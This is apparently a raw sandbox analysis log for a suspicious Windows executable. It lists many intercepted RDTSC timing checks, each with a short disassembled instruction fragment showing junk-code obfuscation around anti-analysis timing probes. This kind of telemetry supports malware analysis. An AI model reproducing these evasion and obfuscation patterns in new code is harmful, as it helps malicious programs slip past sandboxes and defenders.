Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D803B0 second address: 4D80430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov esi, edx 0x0000000c pushfd 0x0000000d jmp 00007F9C644F7B33h 0x00000012 add si, DDFEh 0x00000017 jmp 00007F9C644F7B39h 0x0000001c popfd 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007F9C644F7B33h 0x00000027 sbb ax, 300Eh 0x0000002c jmp 00007F9C644F7B39h 0x00000031 popfd 0x00000032 popad 0x00000033 mov eax, dword ptr [ebp+08h] 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D80430 second address: 4D80436 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D80436 second address: 4D804A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax], 00000000h 0x0000000c pushad 0x0000000d mov cl, 87h 0x0000000f push edx 0x00000010 pushfd 0x00000011 jmp 00007F9C644F7B36h 0x00000016 sbb ah, 00000018h 0x00000019 jmp 00007F9C644F7B2Bh 0x0000001e popfd 0x0000001f pop eax 0x00000020 popad 0x00000021 and dword ptr [eax+04h], 00000000h 0x00000025 jmp 00007F9C644F7B2Fh 0x0000002a pop ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F9C644F7B30h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D804A3 second address: 4D804B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C6510058Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70D65 second address: 4D70D82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70D82 second address: 4D70D88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70D88 second address: 4D70D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D70D8C second address: 4D70DCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ecx 0x0000000e mov di, 7590h 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F9C65100590h 0x0000001e add eax, 2D19C9D8h 0x00000024 jmp 00007F9C6510058Bh 0x00000029 popfd 0x0000002a mov bh, ah 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D801AB second address: 4D801AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D801AF second address: 4D801B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D801B5 second address: 4D8021F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F9C644F7B36h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov dx, ax 0x00000015 pushfd 0x00000016 jmp 00007F9C644F7B2Ah 0x0000001b and al, FFFFFFE8h 0x0000001e jmp 00007F9C644F7B2Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 push ebx 0x0000002a pop eax 0x0000002b call 00007F9C644F7B37h 0x00000030 pop esi 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA07B3 second address: 4DA07CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C6510058Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ebx, 7BFF8C86h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA07CF second address: 4DA07D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA07D5 second address: 4DA07D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA07D9 second address: 4DA085B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007F9C644F7B30h 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007F9C644F7B31h 0x00000018 mov bx, cx 0x0000001b popad 0x0000001c xchg eax, ecx 0x0000001d pushad 0x0000001e movzx esi, dx 0x00000021 mov al, bl 0x00000023 popad 0x00000024 mov eax, dword ptr [76FB65FCh] 0x00000029 pushad 0x0000002a call 00007F9C644F7B39h 0x0000002f pushad 0x00000030 popad 0x00000031 pop eax 0x00000032 popad 0x00000033 test eax, eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F9C644F7B2Fh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA085B second address: 4DA085F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA085F second address: 4DA0865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA0865 second address: 4DA08C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100594h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F9CD729366Fh 0x0000000f jmp 00007F9C65100590h 0x00000014 mov ecx, eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F9C6510058Dh 0x0000001f or ax, B4C6h 0x00000024 jmp 00007F9C65100591h 0x00000029 popfd 0x0000002a mov si, 9577h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA08C2 second address: 4DA08D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor eax, dword ptr [ebp+08h] 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov dx, ax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA08D5 second address: 4DA08EF instructions: 0x00000000 rdtsc 0x00000002 mov edx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9C65100592h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA08EF second address: 4DA0933 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9C644F7B32h 0x00000008 sub eax, 3A49F2F8h 0x0000000e jmp 00007F9C644F7B2Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 and ecx, 1Fh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F9C644F7B31h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA0933 second address: 4DA0943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C6510058Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA0943 second address: 4DA0972 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ror eax, cl 0x0000000d jmp 00007F9C644F7B36h 0x00000012 leave 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA0972 second address: 4DA09A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F9C65100593h 0x0000000a or ch, 0000002Eh 0x0000000d jmp 00007F9C65100599h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA09A8 second address: 4DA0A3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00BD2014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007F9C68708516h 0x00000024 push FFFFFFFEh 0x00000026 jmp 00007F9C644F7B2Eh 0x0000002b pop eax 0x0000002c jmp 00007F9C644F7B30h 0x00000031 ret 0x00000032 nop 0x00000033 push eax 0x00000034 call 00007F9C68708531h 0x00000039 mov edi, edi 0x0000003b jmp 00007F9C644F7B30h 0x00000040 xchg eax, ebp 0x00000041 pushad 0x00000042 mov cl, 81h 0x00000044 mov cx, di 0x00000047 popad 0x00000048 push eax 0x00000049 jmp 00007F9C644F7B34h 0x0000004e xchg eax, ebp 0x0000004f jmp 00007F9C644F7B30h 0x00000054 mov ebp, esp 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F9C644F7B37h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4DA0A3D second address: 4DA0A55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C65100594h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50050 second address: 4D50077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9C644F7B35h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50077 second address: 4D5014E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100591h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F9C6510058Eh 0x00000010 and esp, FFFFFFF8h 0x00000013 jmp 00007F9C65100590h 0x00000018 xchg eax, ecx 0x00000019 pushad 0x0000001a movzx esi, bx 0x0000001d movsx edx, ax 0x00000020 popad 0x00000021 push eax 0x00000022 jmp 00007F9C65100595h 0x00000027 xchg eax, ecx 0x00000028 jmp 00007F9C6510058Eh 0x0000002d xchg eax, ebx 0x0000002e jmp 00007F9C65100590h 0x00000033 push eax 0x00000034 jmp 00007F9C6510058Bh 0x00000039 xchg eax, ebx 0x0000003a pushad 0x0000003b mov esi, 08ED728Bh 0x00000040 movzx ecx, dx 0x00000043 popad 0x00000044 mov ebx, dword ptr [ebp+10h] 0x00000047 jmp 00007F9C65100593h 0x0000004c xchg eax, esi 0x0000004d pushad 0x0000004e pushfd 0x0000004f jmp 00007F9C65100594h 0x00000054 and ah, FFFFFFF8h 0x00000057 jmp 00007F9C6510058Bh 0x0000005c popfd 0x0000005d mov eax, 5910922Fh 0x00000062 popad 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D5014E second address: 4D5015C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D5015C second address: 4D5016E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C6510058Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D5016E second address: 4D5017F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop edx 0x0000000e mov al, 6Ch 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D5017F second address: 4D50190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C6510058Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50190 second address: 4D501A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop edi 0x00000010 mov ecx, 57514671h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D501A6 second address: 4D50211 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov bx, B55Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F9C65100590h 0x00000012 mov dword ptr [esp], edi 0x00000015 pushad 0x00000016 mov eax, 55FE318Dh 0x0000001b pushfd 0x0000001c jmp 00007F9C6510058Ah 0x00000021 xor esi, 21E08DA8h 0x00000027 jmp 00007F9C6510058Bh 0x0000002c popfd 0x0000002d popad 0x0000002e test esi, esi 0x00000030 pushad 0x00000031 mov al, B3h 0x00000033 push edi 0x00000034 pushad 0x00000035 popad 0x00000036 pop eax 0x00000037 popad 0x00000038 je 00007F9CD72DE9A7h 0x0000003e pushad 0x0000003f mov di, 47FAh 0x00000043 mov ecx, edi 0x00000045 popad 0x00000046 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 mov ebx, eax 0x00000052 mov ch, B7h 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50211 second address: 4D50217 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50217 second address: 4D5021B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D5021B second address: 4D50289 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F9CD66D5F1Ah 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F9C644F7B2Eh 0x00000018 add cx, F4C8h 0x0000001d jmp 00007F9C644F7B2Bh 0x00000022 popfd 0x00000023 popad 0x00000024 mov edx, dword ptr [esi+44h] 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F9C644F7B30h 0x0000002e xor esi, 0C827728h 0x00000034 jmp 00007F9C644F7B2Bh 0x00000039 popfd 0x0000003a push esi 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50289 second address: 4D5029A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 or edx, dword ptr [ebp+0Ch] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cx, dx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D5029A second address: 4D5029F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D5029F second address: 4D50358 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100594h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test edx, 61000000h 0x0000000f pushad 0x00000010 mov ebx, ecx 0x00000012 call 00007F9C6510058Ah 0x00000017 pushad 0x00000018 popad 0x00000019 pop eax 0x0000001a popad 0x0000001b jne 00007F9CD72DE940h 0x00000021 jmp 00007F9C65100597h 0x00000026 test byte ptr [esi+48h], 00000001h 0x0000002a pushad 0x0000002b mov ebx, eax 0x0000002d mov esi, 7D1170C7h 0x00000032 popad 0x00000033 jne 00007F9CD72DE92Fh 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F9C65100598h 0x00000040 jmp 00007F9C65100595h 0x00000045 popfd 0x00000046 pushfd 0x00000047 jmp 00007F9C65100590h 0x0000004c xor al, 00000008h 0x0000004f jmp 00007F9C6510058Bh 0x00000054 popfd 0x00000055 popad 0x00000056 test bl, 00000007h 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50358 second address: 4D5035C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D5035C second address: 4D50360 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50360 second address: 4D50366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50366 second address: 4D5036C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D5036C second address: 4D50370 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D407A3 second address: 4D407A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D407A9 second address: 4D407AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40903 second address: 4D40937 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9C65100598h 0x00000008 or eax, 6B226108h 0x0000000e jmp 00007F9C6510058Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push esi 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40937 second address: 4D40944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40944 second address: 4D4094A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D4094A second address: 4D40970 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9C644F7B2Bh 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9C644F7B2Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40970 second address: 4D40985 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100591h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40985 second address: 4D40995 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C644F7B2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40995 second address: 4D409AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F9C6510058Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D409AC second address: 4D409D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F9C644F7B30h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D409D3 second address: 4D40A48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100591h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F9C6510058Ch 0x00000012 add eax, 3D18E018h 0x00000018 jmp 00007F9C6510058Bh 0x0000001d popfd 0x0000001e call 00007F9C65100598h 0x00000023 movzx eax, bx 0x00000026 pop ebx 0x00000027 popad 0x00000028 je 00007F9CD72E5EEDh 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F9C65100599h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40A48 second address: 4D40ABF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007F9C644F7B2Eh 0x00000015 mov ecx, esi 0x00000017 pushad 0x00000018 push ecx 0x00000019 pushfd 0x0000001a jmp 00007F9C644F7B2Dh 0x0000001f sub eax, 327E9726h 0x00000025 jmp 00007F9C644F7B31h 0x0000002a popfd 0x0000002b pop ecx 0x0000002c mov ax, dx 0x0000002f popad 0x00000030 je 00007F9CD66DD428h 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F9C644F7B36h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40ABF second address: 4D40AEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C6510058Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [76FB6968h], 00000002h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9C65100595h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40AEC second address: 4D40B71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F9CD66DD3DBh 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F9C644F7B2Ch 0x00000016 or esi, 2F0138B8h 0x0000001c jmp 00007F9C644F7B2Bh 0x00000021 popfd 0x00000022 movzx esi, bx 0x00000025 popad 0x00000026 mov edx, dword ptr [ebp+0Ch] 0x00000029 jmp 00007F9C644F7B2Bh 0x0000002e xchg eax, ebx 0x0000002f jmp 00007F9C644F7B36h 0x00000034 push eax 0x00000035 pushad 0x00000036 mov di, CAF4h 0x0000003a mov edi, 6036A260h 0x0000003f popad 0x00000040 xchg eax, ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 jmp 00007F9C644F7B32h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40B71 second address: 4D40B83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C6510058Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40B83 second address: 4D40BA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9C644F7B33h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40BA1 second address: 4D40C07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100599h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F9C65100593h 0x00000014 pushfd 0x00000015 jmp 00007F9C65100598h 0x0000001a jmp 00007F9C65100595h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40CCC second address: 4D40CE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C644F7B34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D40CE4 second address: 4D40CE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: 4D50C81 second address: 4D50C85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
